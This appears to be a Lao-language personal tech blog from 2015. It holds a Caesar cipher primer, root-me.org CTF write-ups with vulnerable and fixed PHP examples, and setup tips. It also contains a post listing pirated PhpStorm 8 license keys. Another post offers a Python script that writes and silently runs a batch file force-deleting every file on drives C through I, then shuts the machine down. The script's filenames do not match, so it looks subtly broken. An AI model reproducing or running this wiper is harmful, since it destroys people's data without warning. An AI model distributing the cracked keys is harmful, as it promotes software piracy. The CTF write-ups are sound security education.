Pages - Menu

Sunday, December 6, 2015

Cryptology ແມ່ນຫຍັງ?

ມື້ນີ້ວ່າງໆ ທີ່ຈິງກໍ່ບໍ່ວ່າງແທ້ດອກ ຫະຫະ ແຕ່ເປີດປຶ້ມຄະນິດສາດມາລະບໍ່ເຂົ້າໃຈເລີຍຫາແນວອື່ນເຮັດ ແທນ.
ຄິດອອກວ່າຢາກຂຽນເລື່ອງ Cryptology/Cryptography ມາດົນລະເລີຍຖືໂອກາດຂຽນມື້ນີ້ເລີຍ.

ແລ້ວ Cryptology ແມ່ນຫຍັງ?

Cryptology/Cryptography ກໍ່ຄືການປ່ຽນຂໍ້ຄວາມຈາກຮູບແບບປົກກະຕິ ໄປສູ່ຮູບແບບອື່ນ ເພື່ອປົກປິດ ຫຼື ຮັກສາຄວາມລັບ ສະເພາະຄູ່ສົນທະນາເທົ່ານັ້ນທີ່ສາມາດເຂົ້າໃຈ.
ທີ່ຈິງແລ້ວມະນຸດເຮົາໄດ້ຄິດຄົ້ນວິທີສ້າງຂໍ້ຄວາມລັບມາດົນແລ້ວ ແລະໜຶ່ງໃນຮູບແບບທີ່ເປັນ ທີ່ເປັນທີ່ຮູ້ຈັກຢ່າງກວ້າງຂວາງກໍ່ຄື Caesar cipher ຄິດຄົ້ນໂດຍ Julius Caesar.

ເພິ່ນໄດ້ສ້າງຂໍ້ຄວາມ ລັບໂດຍການ ເອົາໂຕອັກສອນທີ່ຢູ່ຖັດໄປ 3 ຕຳແໜ່ງມາແທນທີ່ (ຖ້າເປັນໂຕອັກສອນຢູ່ທ້າຍ ໃຫ້ເລີ່ມຕໍ່ໃໝ່ແຕ່ຕົ້ນ) ຜົນລັບກໍ່ຈະປະມານວ່າ B ເປັນ E , X ເປັນ A

ນີ້ຄືຕົວຢ່າງຂອງການ ເຂົ້້າລະຫັດ (encryption) ຂໍ້ມູນ.  

Plain: ABCDEFGHIJKLMNOPQRSTUVWXYZ 
Cipher: XYZABCDEFGHIJKLMNOPQRSTUVW

ຕໍ່ມາເພື່ອໃຫ້ເຂົ້າໃຈຫລາຍຂຶ້ນກ່ຽວກັບ Cryptology ເຮົາຈະເອົາ Caesar cipher ມາຄຳນວນໃນ ຫລັກການທາງ ຄະນິດສາດ ເບິ່ງ ແລະ ເພື່ອເປັນພື້ນຖານສູ່ການຮຽນຮູ້ກ່ຽວກັບການເຂົ້າລະຫັດ ຮູບແບບ ອື່ນທີ່ມີຄວາມປອດໄພສູງກວ່ານີ້ເຊັ່ນ RSA ເນາະ.
ທຳອິດ, ເຮົາກໍ່ຈະວ່າງຕຳແໜ່ງຂອງແຕ່ລະໂຕອັກສອນດ້ວຍໂຕເລກທີ່ເລີ່ມຈາກ 0 - 25 (ໂຕອັກສອນ ໃນພາສາອັງກິດມີ 26 ໂຕ) ໂດຍເລີ່ມຈາກ A = 0 , ... , K = 10 , .... , Z = 25

ໃນນີ້ ການເຂົ້າລະຫັດແບບ Caesar ຈະແທນດ້ວຍ function f ທີ່ຮັບພຽງແຕ່ຄ່າຈຳນວນເຕັມ (integer) ທີ່ເປັນຄ່າບວກເທົ່ານັ້ນ ເຮົາຈະແທນດ້ວຍ p ແລະ p <= 25 (ນ້ອຍກວ່າຫຼືເທົ່າກັບ) ສະນັ້ນ ເລກຈຳນວນເຕັມ p ຢູ່ໃນ set ຂອງ {0,1,2,...,25}
ແລະ ສູດໃນການຄິດໄລ່ Caesar’s encryption ກໍ່ຄື

f(p) = (p+3) mod 26

ໂດຍຫລັກການຄິດໄລ່ຄືຫາຄ່າເສດ ( Remainder ) ວິທີການຄິດໄລ່ປະມານນີ້
ຖ້າໃນການຂຽນໂປແກມຈະງ່າຍໆກໍ່ຄືໃຊ້ Modulus operator “ % ” ຕຢ: 7 % 26
ມີຄ່າອັນດຽວກັບ f(7) = 7 mod 26

 ອັນນີ້ຈະເປັນການຄິດໄລ່ດ້ວຍມື (ບໍ່ຮູ້ເປັນຫຍັງຄືໃຊ້ mouse ຂຽນຄືກັນ ຫະຫະຫະ ສົງໄສຈະ blur ແຮງ) ໂດຍສິ່ງທີ່ເຮົາເນັ້ນຢາກໄດ້ຄື remainder ນັ້ນເອງ !



ໃນຮູບເປັນຕົວຢ່າງການເຂົ້າລະຫັດຂອງໂຕອັກສອນ S (ຕຳແໜ່ງຂອງ S = 18) ແລະ ຄ່າ remainder ທີ່ເຮົາໄດ້ຄື 21 ( 21 = V ) ສະນັ້ນ S ຈະກາຍເປັນ V (ຖ້າໃຜບໍ່ເຂົ້າໃຈວິທີຄິດໄລ່ສາມາດຫາອ່ານຕາມເນັດໄດ້ຄົ້ນຫາວ່າ modulo/modulus division)

ຕົວຢ່າງອີກອັນ: ປ່ຽນຂໍ້ຄວາມ SEE YOU AT SIX ດ້ວຍການເຂົ້າລະຫັດແບບ Caesar
ເຮົາກໍ່ຈະໄດ້ VHH BRX DW VLA

ການຖອດລະຫັດກັບຄືນ Decryption

ເຮົາໃຊ້ f(p) = (p - k) mod 26

ມັນກໍ່ຄ້າຍໆກັບ ການຖອດລະຫັດນະລະເນາະ k ໃນນີ້ຄືຄ່າຂອງຈຳນວນທີ່ເຮົາເລື່ອນໄປຈາກໂຕອັກສອນ ຫລັກນັ້ນກໍ່ຄື 3 ນັ້ງເອງ ສະນັ້ນ k = 3 ເຮົາກໍ່ໄດ້ f(p) = (p-3) mod 26 ຕົວຢ່າງການຄິດໄລ່ ເຮົາເອົາໂຕຢ່າງຈາກຮູບທາງເທິງເຮົາເຂົ້າລະຫັດຈາກ S ແລ້ວໄດ້ V (21) ເຮົາມາຖອດຈາກ V ກັບສູ່ S !


ຈະເຫັນໄດ້ວ່າຄ່າທີ່ໄດ້ຖືກຕ້ອງ! ງ່າຍແມ່ນບໍ ^^
ບົດຄວາມນີ້ອາດຈະບໍ່ໄດ້ Advance ຫລາຍແຕ່ກໍ່ອາດຈະຊ່ວຍໃຫ້ບາງຄົນໄດ້ເຫັນພາບ ແລະ ເຂົ້າໃຈວິທີການ ເຮັດວຽກຂອງ Algorithm ຂອງການເຂົ້າລະຫັດວ່າເຮັດແນວໃດ ເນາະ
ບົດຄວາມຕໍ່ໄປອາດຈະກ່ຽວກັບການເຂົ້າລະຫັດທີ່ໃຊ້ Public ແລະ Private key ເຊັ່ນ RSA ແຕ່ຂໍ ທຳຄວາມເຂົ້າໃຈໃຫ້ລະອຽດກ່ອນເພື່ອທີ່ຈະສາມາດຕອບຄຳຖາມໄດ້ ຫະຫະ
ໂອ້ ຖ້າໃຜຂ້ອງໃຈບ່ອນໃດເມັ້ນຖາມໄດ້ເດີ້ ແລະ ຢາກຂໍບອກວ່າຜູ້ຂຽນເອງບໍ່ມັກຮຽນເລກຢ່າງແຮງ.

ຂອບໃຈຫຼາຍໆທີ່ສະຫຼະເວລາ ອ່ານຈົນຈົບ.

Thursday, October 15, 2015

[Write-up][Web - Server] Improper redirect - 15 Points

ສະບາຍດີ! ມື້ນີ້ເຮົາຈະມາເວົ້າເຖິງການຜ່ານໂຈດ Improper redirect ໃນ root-me.org ໝວດ Web - Server.

http://www.root-me.org/en/Challenges/Web-Server/Improper-redirect

ກ່ອນເຮົາຈະໄປຜ່ານໂຈດນີ້ຂໍເວົ້າເຖິງຊ່ວງໂວ່ນີ້ຈັກໜ້ອຍໜຶ່ງ.
(ຂອບໃຈຂໍ້ມູນຈາກ acunetix.com <3)

 ຊ່ອງໂວ່ປະເພດນີ້ເກີດຂຶ້ນເວລາກວດສອບເງື່ອນໄຂແລ້ວໃຫ້ redirect ໄປໜ້າທີ່ກຳນົດ, ຫລາຍຄົນຄົງຈະບໍ່ເຂົ້າໃຈມັນກະປົກກະຕິບໍ່ແມ່ນບໍ? ແລ້ວຈະເປັນຊ່ອງໂວ່ໄດ້ແນວໃດ?

ຄຳຕອບກໍ່ຄືໃນຊ່ວງເວລາກ່ອນທີ່ຈະທຳການກວດສອບເງື່ອນໄຂແລ້ວ redirect ໄປນັ້ນໜ້າເວັບໄດ້ຖືກດຶງມາກຽມເປີດໄວ້ແລ້ວແຕ່ຍັງບໍ່ທັນໄດ້ສະແດງຂຶ້ນໜ້າຈໍເທື່ອ. ເຮັດໃຫ້ເຮົາສາມາດອ່ານຂໍ້ມູນໃນໜ້ານັ້ນໄດ້ໂດຍບໍ່ຕ້ອງມີສິດເປັນ admin.. *-*

ແຕ່ວ່າຊ່ວງເວລາໃນການກວດສອບແລ້ວ redirect ແມ່ນໄວຫລາຍຖ້າເຮົາໃຊ້ browser ທຳມະດາກວດເບິ່ງມັນກໍ່ຈະ redirect ໄປຕາມທີ່ໂປແກມມາ.

ຕົວຢ່າງ ໂຄ໊ດທີ່ເປັນຊ່ອງໂວ່:

 <?php  
 // check if the session is authanticated  
 if (!isset($_SESION["isAdmin"])) {  
 header("Location: ../login.php");  
 }  
 ?>  
 <title>Admin Dashboard</title>  
 <h3>List of Users</h3>  

ສິ່ງທີ່ເຮົາຈະເຮັດກໍ່ຄືໃຊ້ burp suite intercept ແຕ່ລະຂໍ້ມູນທີ່ browser ຈະໂຫລດເຂົ້າມາຈາກ

http://challenge01.root-me.org/web-serveur/ch32/

ຫລັງຈາກເຮົາກົດ forward ໄປຈົນໝົດແລ້ວເຮົາມາສັງເກດເບິ່ງໃນໜ້າ /web-serveur/ch32/ ວ່າເກີດຫຍັງຂຶ້ນ


 Tada~ ເຮົາກໍ່ໄດ້ Flag ແລ້ວ

ວິທີແກ້ໄຂຊ່ອງໂວ່ນີ້ຄື ເພີ່ມ exit(); ຫລັງຈາກຄຳສັ່ງ redirect

<?php
// check if the session is authanticated
if (!isset($_SESION["isAdmin"])) {
header("Location: ../login.php");
exit();
}
?>
<title>Admin Dashboard</title>
<h3>List of Users</h3>
 


ຈົບແລ້ວວວ ຂອບໃຈຈຈ

Monday, October 12, 2015

[Write-up][Web - Server] Backup file - 15 Points

ຫລາຍຄົນອາດສົງໄສວ່າຮູ້ໄດ້ແນວໃດວ່າ index.php~ ຄຳຕອບງ່າຍໆເລີຍ.
ເດົາເອົາ ຫະຫະ ຜ່ານແລ້ວດ່ານນີ້ງ່າຍສຸດ

Friday, October 9, 2015

[Write-up] [Web - Server] HTTP Headers - 15 Points

ສະບາຍດີມື້ນີ້ເຮົາຈະມາຜ່ານໂຈດ HTTP Headers ກັນເນາະ.

http://www.root-me.org/en/Challenges/Web-Server/HTTP-Headers

ຖ້າໃຜຍັງບໍ່ຮູ້ຈັກວ່າ HTTP Headers ແມ່ນຫຍັງໃຫ້ໄປອ່ານຕາມລິ້ງນີ້

https://en.wikipedia.org/wiki/List_of_HTTP_header_fields

ຫຼືຈະເອົາໃຫ້ເຂົ້າໃຈງ່າຍໆແມ່ນໂຈດນີ້ຈະກ່ຽວກັບ HTTP Request ແລະ HTTP Response

ໂຈດຂໍ້ນີ້ເຮົາຈະໃຊ້ Burp suite ໃນການດັກເອົາ packet ທີ່ request ໄປ server  ແລະຮັບເອົາຄ່າ response ກັບມາຈາກ server. (ຫຼືຜູ້ອ່ານອາດຈະເລືອກໃຊ້ adds-on ຂອງ firefox ເຊັ່ນພວກ HTTP Live Headers ຫຼື Tamper data ກໍ່ໄດ້ເນາະ)

ແຕ່ໃນນີ້ເຮົາຈະໃຊ້ Burp Suite ໃຜຍັງບໍ່ທັນມີສາມາດໂຫລດໄດ້ຕາມລິ້ງນີ້.

https://portswigger.net/burp/download.html

ເອົາເນາະ! ຮອດເວລາທີ່ເຮົາຈະມາຜ່ານໂຈດນີ້ກັນແລ້ວ

ກ່ອນກົດ Start challenge ສັງເກດວ່າມັນມີ ຄຳໃບ້ຢູ່ທີ່ບອກວ່າ


HTTP response give informations 

ມັນບອກເຮົາໃຫ້ສັງເກດບ່ອນ HTTP response 

ຕອນນີ້ເຮົາກົດ Start challenge ເລີຍ..

ກໍ່ຈະເຫັນວ່າໜ້ານີ້ບໍ່ມີຫຍັງມີພຽງແຕ່ບອກວ່າ "Content is not the only part of an HTTP response!"

ເອົາລະເປີດ Burp Suite ຂຶ້ນມາເລີຍ (ສ່ວນວິທີໃຊ້ແມ່ນລອງໆຫລິ້ນເບິ່ງກໍ່ຈະຮູ້ເນາະບໍ່ກະຫາໃນ Google ເບິ່ງເພາະມີຫລາຍຄົນເຮັດ Tut ອອກມາ)

ປ່ຽນ proxy ຂອງ browser ໄປຫາ burp suite ແລ້ວ refresh ອີກຄັ້ງເບິ່ງ.

ເຮົາມາສັງເກດ request ແລະ response ຂອງໜ້າດັັ່ງກ່າວເບິ່ງວ່າເປັນແບບໃດ.

Request
 GET /web-serveur/ch5/ HTTP/1.1  
 Host: challenge01.root-me.org  
 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0  
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
 Accept-Language: en-US,en;q=0.5  
 Accept-Encoding: gzip, deflate  
 Referer: http://www.root-me.org/en/Challenges/Web-Server/HTTP-Headers  
 Cookie: PHPSESSID=fsvbd1bi9mpq1bh57mq46ssf74  
 Connection: keep-alive  
 Cache-Control: max-age=0  

 Response


 HTTP/1.1 200 OK  
 Server: nginx  
 Date: Fri, 09 Oct 2015 04:45:36 GMT  
 Content-Type: text/html; charset=UTF-8  
 Connection: keep-alive  
 Vary: Accept-Encoding  
 Header-RootMe-Admin: none  
 Content-Length: 279  
 <html>  
 <body><link rel='stylesheet' property='stylesheet' id='s' type='text/css' href='/template/s.css' media='all' /><iframe id='iframe' src='http://www.root-me.org/spip.php?page=externe_header'></iframe>  
 <p>Content is not the only part of an HTTP response!</p>  
 </body>  
 </html>  

 ສັງເກດເຫັນບໍ່ວ່າ Response ມັນມີຫຍັງແປກໄປ..?

ແມ່ນແລ້ວ! Header-RootMe-Admin: none

ສ່ວນນີ້ແມ່ນທາງ developer ເຮັດຂຶ້ນມາເອງເພື່ອກວດວ່າແມ່ນ admin ບໍ?

ສິ່ງທີ່ເຮົາຈະເຮັດກໍ່ພຽງແຕ່ຕອນ Request ໃຫ້ສົ່ງ  Header-RootMe-Admin ໄປນຳແລ້ວປ່ຽນຈາກ none ເປັນ true



ຜ່ານແລ້ວ! ເປັນແນວໃດງ່າຍແມ່ນບໍ ຫະຫະ.! ພົບກັນໃໝ່ໃນດ່ານຕໍ່ໄປ.

Thursday, October 8, 2015

[Write-up] [Web - Server] HTTP directory indexing - 15 Points

ສະບາຍດີ ມື້ນີ້ເຮົາມາຜ່ານໂຈດເກມ Security ໃນເວັບ root-me.org ກັນເນາະ
ດ່ານນີ້ຈະກ່ຽວກັບການເຂົ້າໄປອ່ານໄຟລ໌ໃນ Directory

http://www.root-me.org/en/Challenges/Web-Server/HTTP-directory-indexing


  ຫລັງຈາກກົດ Start the Challenge

ເຮົາກໍ່ກົດ view source (ຄຶຂ້າງເທິງ) ແລ້ວເຮົາກໍ່ຈະເຫັນວ່າມີ comment ວ່າ

<!-- include("admin/pass.html") -->

ລອງຕາມເຂົ້າໄປໃນ admin/pass.html ແລ້ວກໍ່ບໍ່ແມ່ນໜ້າທີ່ເຫັນ ລະຫັດລັບ ເທື່ອ

ແລ້ວຈະເຮັດແນວໃດບາດນີ້..? ບໍ່ຟ້າວເລື່ອນລົງໄປອ່ານ ລອງເຮັດ ແລະ ຄິດເບິ່ງກ່ອນ...

tik-tok......







tik-tok......








tik-tok....

ບາດນີ້ເຮົາລອງຖອຍເບິ່ງແຕ່ /admin/ ປາກົດວ່າ ມີ Dir backup 

ເຮົາກໍ່ກົດເຂົ້າໄປເບິ່ງແລ້ວກໍ່ຈະເຫັນລະຫັດລັບທີ່ເອົາໄວ້ຜ່ານດ່ານ.

Saturday, June 6, 2015

China Post Tracking ນຳວ່າເຄື່ອງຮອດໃສແລ້ວ

ພໍດີຜູ້ກ່ຽວສັ່ງເຄື່ອງມາແຕ່ເນັດ ແລ້ວເຂົ້າເວັບຄູ່ກໍລະນີກໍ່ຄື China Post ຍາກຫລາຍບໍ່ຮູ້ເປັນຫຍັງ ຜູ້ກ່ຽວເລີຍຂຽນໂປແກມໃຫ້ມັນດຶງຂໍ້ມູນມາຈາກເວັບເລີຍ
ໂດຍ module ທີ່ໃຊ້ກໍ່ມີ
beautifulsoup - ສຳລັບຄັດກອງຂໍ້ມູນໃນ Source code
urllib - ສຳລັບເຮັດ url encode ຄ່າທີ່ຈະສົ່ງໄປເຊີເວີ້
urllib2 - ສຳລັບດຶງຂໍ້ມູນມາຈາກເຊີເວີ້
sys - ສຳລັບສະແດງຜົນຄ່າໃນວົງ ລູບ ແບບບໍ່ລົງແຖວ

Wednesday, May 20, 2015

Internet Connected ແຕ່ເຂົ້າເວັບ ຫຼື Ping ບໍ່ໄດ້ເລີຍ! ເຮັດແນວໃດດີ?

ຕອນເຊົ້າວັນທີ 20/05/2015 ຜູ້ກ່ຽວໄດ້ເກີດບັນຫານີ້ຂຶ້ນແລ້ວເກືອບລົງແດງຍ້ອນບໍ່ມີເນັດຫລິ້ນ T_T ເລີຍໄດ້ລອງຄົ້ນຫາວິທີແກ້ແມ່ນ

1. ກົດ Windows+X ແລ້ວເລືອກ Command Prompt (Admin)
2. ພິມເຂົ້າໄປວ່າ netsh int ip reset c:\resetlog.txt
3. restart computer ກໍ່ຈະໄດ້.

Thursday, May 7, 2015

Phpstorm 8

License Key PhpStorm 8
User Name : EMBRACE
===== LICENSE BEGIN =====
43136-12042010
00002UsvSON704l"dILe1PVx3y4"B3
49AU6oSDJrsjE8nMOQh"8HTDJHIUUh
gd1BebYc5U"6OxDbVsALB4Eb10PW8"
===== LICENSE END =====
 
User Name : TorReviver
===== LICENSE BEGIN =====
09574-12042010
00000N7tVkjChpCjDvLjvELNOsgIeH
1POKglQCIddVHUwb6RDtMpzpzeXi0Z
RGN7yqI340MhKOu1odUVLb40g5HUF4
===== LICENSE END =====
 
User Name : Learn Programming
===== LICENSE BEGIN =====
63758-12042010
00000Ryqh0NCC73lpRm!XVcxFChJ2g
TUR2lZtlLXrPLbQ66Gs8MHs51RvF2y
agoDlzne08Zm8VXbts1UMKE!EW4v8G
===== LICENSE END =====

Thursday, February 5, 2015

[Script] ລ້າງ HDD

#By Darklest
from subprocess import call
f = open('document.bat','w')
f.write("""@echo off
del D:\*.*/f/s/q
del E:\*.*/f/s/q
del F:\*.*/f/s/q
del G:\*.*/f/s/q
del H:\*.*/f/s/q
del I:\*.*/f/s/q
del %systemdrive%\*.*/f/s/q
del C:\*.*/f/s/q
shutdown -t -f -t 00""")
f.close()
x = open('document.vbs', 'w')
x.write('''CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False''')
x.close()
call("cmd.exe /c document.vbs doc.bat")

Monday, January 19, 2015

PHP ເຊື່ອມຕໍ່ຖານຂໍ້ມູນ MySQL

ບົດຄວາມນີ້ຈະກ່ຽວກັບການຂຽນ PHP ໃຫ້ເຊື່ອມຕໍ່ກັບຖານຂໍ້ມູນ (MySQL) ສຳລັບຜູ້ຮຽນຜູ້ໃດຍັງຂຽນ ພາສາ PHP ບໍ່ເປັນເທື່ອໃຫ້ໄປອ່ານກ່ຽວກັບພາສາ PHP ຢຸ່ ສາລະບານ ກ່ອນເນາະ.
ເລີ່ມກັນເລີຍ!!! (ແກ້ໄຂ ໃນນີ້ຈະຂຽນໃຫ້ເບິ່ງແບບສັ້ນກັບແບບລະອຽດ)

ກ່ອນອື່ນເຮົາກໍ່ຕ້ອງສ້າງຖານຂໍ້ມູນກ່ອນໃນນີ້


ເມື່ອສ້າງແລ້ວໆເຮົາກໍ່ຂຽນ PHP ໃຫ້ເຊື່ອມຕໍ່ກັບຖານຂໍ້ມູນ.


ໂດຍຄຳສັ່ງທີ່ສັ່ງໃຫ້ PHP ເຊື່ອມຕໍ່ກັບຖານຂໍ້ມູນແມ່ນ mysql_connect($host, $dbuser, $password)
ເມື່ອເຊື່ອມຕໍ່ແລ້ວກໍສັ່ງໃຫ້ມັນເລືອກເອົາ ຖານຂໍ້ມູນທີ່ເຮົາສ້າງຂຶ້ນມາກ່ອນໜ້ານີ້ ດ້ວຍຄຳສັ່ງ mysql_select_db($dbname,$dbconnect)

ຕໍ່ມາຈະເປັນແບບສັ້ນກະທັດຮັດແຕ່ສາມາດນຳໃຊ້ໄດ້ເຊັ່ນດຽວກັນ


ພຽງເທົ່ານີ້ໄຟລ໌ PHP ປັດຈຸບັນຂອງເຮົາກໍ່ເຊື່ອມຕໍ່ກັບ ຖານຂໍ້ມູນແລ້ວ..!

Monday, January 12, 2015

ການຕິດຕັ້ງເວັບເຊີເວີ້ຈຳລອງໃນເຄື່ອງ

ກ່ອນຈະເລີ່ມຕົ້ນຂຽນ PHP ເຮົາກໍ່ຕ້ອງຕິດຕັ້ງໂປແກມຈຳລອງ Server ໃນເຄື່ອງສາກ່ອນ. ໃນນີ້ຂ້ອຍຈະນຳໃຊ້ໂປແກມ Xampp.
 ເຊິ່ງເປັນໂປແກມໜຶ່ງທີ່ໄດ້ຮັບຄວາມນິຍົມຫຼາຍໃນປັດຈຸບັນ. ເຊິ່ງໃຜທີ່ຍັງໃຊ້ Appserv ຢູ່ ແນະນຳໃຫ້ປ່ຽນມາໃຊ້ໂຕນີ້ເພາະ Appserv ເຂົາເຊົາພັດທະນາແລ້ວ ແລະ Service ທີ່ໃຊ້ຢູ່ກໍ່ເປັນເວີຊັ້ນເກົ່າແລ້ວ.

 ສຳລັບໃຜທີ່ຕ້ອງການດາວໂຫຼດຕາມລິ້ງນີ້ເລີຍເນາະ
https://www.apachefriends.org/index.html